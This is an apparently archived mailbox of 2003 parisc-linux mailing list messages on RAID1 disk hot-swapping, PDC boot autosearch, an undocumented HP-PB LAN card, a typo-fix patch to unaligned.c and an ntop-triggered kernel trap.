Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18854


> I just made another test. I pull out 2 mirrored disk (root and var). The

> system was running well. However, it seems that md software did not notice
> absense of disk until someone tries to write there (I was forced to create
> a file in /boot partition so that md understands the failure).
> 
> Then I rebooted the system without two disks. PDC told 'warn 80F5' ( Looks
> Error executing Entry Init). I do not know why PDC did not try secondary
> device automatically,
> in spite of BOOT ALT worked OK. Looks like PDC was
> very unhappy about primary disk and didn't try to try secondary path.

do you well set autosearch on ?
Have a look at boot prompt: co bootinfo?

hth,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Wed, 9 Jul 2003 15:43:49 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3F05718600000A79@ocpmta8.freegates.net>
References: <20030709122700.GR1939@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622573 27664 80.91.229.3 (22 Nov 2014 02:16:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:13 +0000 (UTC)
Cc: "Martin K. Petersen" <mkp@mkp.net>, "Dub" <dub@latnet.lv>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 07:43:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 735C1482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 07:43:59 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19aFDJ-0007AL-00; Wed, 09 Jul 2003 15:42:29 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 9 Jul 2003 15:43:49 +0200
In-Reply-To: <20030709122700.GR1939@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18855

> Well, no, you're always going to have to quiesce the device.  Otherwise
it's
> like turning the machine off without halting -- random things are cached
and
> simply never make it back to disc.

Ah yes, (my bad, i thought but not write) I would have to specify that I
spok about hotplugable I/O device in general (FC, NIC,... with the famous
blue led) and not about disk which we qualify here as 'hotswapable' disk.

Thanks,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Wed, 9 Jul 2003 09:54:51 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <20030709155451.GB32476@dsl2.external.hp.com>
References: <yq1llv8dbin.fsf@wilson.mkp.net> <3F057186000008F4@ocpmta8.freegates.net> <20030709122700.GR1939@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622573 27669 80.91.229.3 (22 Nov 2014 02:16:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:13 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	"Martin K. Petersen" <mkp@mkp.net>, Dub <dub@latnet.lv>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 09:54:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id AC69E482B; Wed,  9 Jul 2003 09:54:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030709122700.GR1939@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18856

On Wed, Jul 09, 2003 at 01:27:00PM +0100, Matthew Wilcox wrote:
> Well, no, you're always going to have to quiesce the device.

Not unless the disk is part of RAID[135] set.
I expect to be able to yank a disk and replace with a new one any time.

grant


From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mihails Nikitins <nikitins@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Where to get  'undocumented drivers'
Date: Wed, 09 Jul 2003 18:57:44 +0300 (EEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <1057766264.3f0c3b7831046@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622573 27672 80.91.229.3 (22 Nov 2014 02:16:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 09:57:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 88361482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 09:57:46 -0600 (MDT)
Original-Received: (qmail 15692 invoked from network); 9 Jul 2003 15:57:45 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 9 Jul 2003 15:57:45 -0000
Original-Received: (qmail 3176 invoked by uid 33); 9 Jul 2003 15:57:44 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18857

Hi,

Looks like I have small HP-PB LAN AUI card detected at boot time in my K210. 

9. Miura LAN/Console (J2146A) (2) at 0xf190c000 [10/4/12], versions 0x4, 0x0,
0x52

I see this device working in many models but it's marked like 'undocumented'. 

Do I need the driver? Sorry, I have no idea how to configure it. I would also
appreciate if you point me to a document about configuring new HW in Debian.

Many thanks for tour help!

BR,
Dub


From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Wed, 9 Jul 2003 16:58:44 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030709155844.GU1939@parcelfarce.linux.theplanet.co.uk>
References: <yq1llv8dbin.fsf@wilson.mkp.net> <3F057186000008F4@ocpmta8.freegates.net> <20030709122700.GR1939@parcelfarce.linux.theplanet.co.uk> <20030709155451.GB32476@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622573 27678 80.91.229.3 (22 Nov 2014 02:16:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:13 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Joel Soete <jsoe0708@tiscali.be>, "Martin K. Petersen" <mkp@mkp.net>,
	Dub <dub@latnet.lv>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 09:58:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37DDC4868
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 09:58:46 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19aHLA-00051t-Ro; Wed, 09 Jul 2003 16:58:44 +0100
Content-Disposition: inline
In-Reply-To: <20030709155451.GB32476@dsl2.external.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18858

On Wed, Jul 09, 2003 at 09:54:51AM -0600, Grant Grundler wrote:
> On Wed, Jul 09, 2003 at 01:27:00PM +0100, Matthew Wilcox wrote:
> > Well, no, you're always going to have to quiesce the device.
> 
> Not unless the disk is part of RAID[135] set.
> I expect to be able to yank a disk and replace with a new one any time.

Indeed.  You are coming to those two BOFs, right?  ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Where to get  'undocumented drivers'
Date: Wed, 9 Jul 2003 17:00:48 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030709160048.GV1939@parcelfarce.linux.theplanet.co.uk>
References: <1057766264.3f0c3b7831046@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622574 27679 80.91.229.3 (22 Nov 2014 02:16:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mihails Nikitins <nikitins@latnet.lv>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 10:00:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A4DE483D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 10:00:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19aHNA-00054Q-KF; Wed, 09 Jul 2003 17:00:48 +0100
Content-Disposition: inline
In-Reply-To: <1057766264.3f0c3b7831046@clients.latnet.lv>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18859

On Wed, Jul 09, 2003 at 06:57:44PM +0300, Mihails Nikitins wrote:
> Looks like I have small HP-PB LAN AUI card detected at boot time in my K210. 
> 
> 9. Miura LAN/Console (J2146A) (2) at 0xf190c000 [10/4/12], versions 0x4, 0x0,
> 0x52
> 
> I see this device working in many models but it's marked like 'undocumented'. 
> 
> Do I need the driver? Sorry, I have no idea how to configure it. I would also
> appreciate if you point me to a document about configuring new HW in Debian.

There is no documentation available for this device, so there is no
driver for it.  This means Linux cannot use this device.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Corrections for RAID1 howto and Resyncing after failure
Date: Wed, 9 Jul 2003 10:03:49 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <20030709160349.GE32476@dsl2.external.hp.com>
References: <yq1llv8dbin.fsf@wilson.mkp.net> <3F057186000008F4@ocpmta8.freegates.net> <20030709122700.GR1939@parcelfarce.linux.theplanet.co.uk> <20030709155451.GB32476@dsl2.external.hp.com> <20030709155844.GU1939@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622574 27683 80.91.229.3 (22 Nov 2014 02:16:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:14 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	"Martin K. Petersen" <mkp@mkp.net>, Dub <dub@latnet.lv>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 10:03:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 99B13482B; Wed,  9 Jul 2003 10:03:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030709155844.GU1939@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18860

On Wed, Jul 09, 2003 at 04:58:44PM +0100, Matthew Wilcox wrote:
> Indeed.  You are coming to those two BOFs, right?  ;-)

heh - of course :^)

grant


From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Spelling mistake in unaligned.c
Date: Wed, 09 Jul 2003 18:10:24 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <3F0C3E70.1060200@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------000508040007080302070206"
X-Trace: ger.gmane.org 1416622574 27686 80.91.229.3 (22 Nov 2014 02:16:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 10:21:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 025DE482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 10:21:07 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157024161.dialin.heagmedianet.de [213.157.24.161])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h69GG7NW013935
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Wed, 9 Jul 2003 18:16:12 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18861

This is a multi-part message in MIME format.
--------------000508040007080302070206
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit

Hi there!
I found a spelling mistake when I compiled the kernel 2.4.21-pa2 on a 
C360. Here is a patch. Can someone, who has writeaccess to CVS,  apply 
it and put it into CVS?
Thanks!
Rdiger
   

--------------000508040007080302070206
Content-Type: text/plain;
 name="patch.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="patch.diff"

Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.16
diff -u -p -r1.16 unaligned.c
--- arch/parisc/kernel/unaligned.c	9 Jul 2003 05:15:20 -0000	1.16
+++ arch/parisc/kernel/unaligned.c	9 Jul 2003 13:48:22 -0000
@@ -576,7 +576,7 @@ void handle_unaligned(struct pt_regs *re
 	{
 	case OPCODE_FLDD_L:
 		flop=1;
-		ret = emualate_ldd(regs,R2(regs->iir),1);
+		ret = emulate_ldd(regs,R2(regs->iir),1);
 		break;
 	case OPCODE_FSTD_L:
 		flop=1;

--------------000508040007080302070206--



From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Spelling mistake in unaligned.c
Date: Wed, 9 Jul 2003 10:42:55 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20030709164255.GF32476@dsl2.external.hp.com>
References: <3F0C3E70.1060200@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622575 27688 80.91.229.3 (22 Nov 2014 02:16:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: R?diger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 10:42:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 526C8482B; Wed,  9 Jul 2003 10:42:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F0C3E70.1060200@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18862

On Wed, Jul 09, 2003 at 06:10:24PM +0200, R?diger Scholz wrote:
> Hi there!
> I found a spelling mistake when I compiled the kernel 2.4.21-pa2 on a 
> C360. Here is a patch. Can someone, who has writeaccess to CVS,  apply 
> it and put it into CVS?

thanks!
willy applied to 2.5 and I've applied it to 2.4.

grant


From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ntop vs. linux-hppa kernel
Date: Wed, 9 Jul 2003 13:26:22 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20030709172622.GD21298@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622575 27692 80.91.229.3 (22 Nov 2014 02:16:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  9 11:27:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BF47482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jul 2003 11:27:13 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19aIhz-0006aW-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 09 Jul 2003 13:26:23 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (2% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18863

pa,

Is anyone runing ntop on hppa? I've got a c3k on unstable running
2.4.21-pa2 and ntop (lastest in unstable) causes a protection id trap 27
which seems to sends the kernel into a loop, but atleast not an 
outright crash.

The box's network and console are gone, but it's showing heartbeat and I
can shutdown via the software button.

I'll take down the full oops when I get all the users off the box (and
recreate the pb.).

c.



From - Thu Nov 08 21:28:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
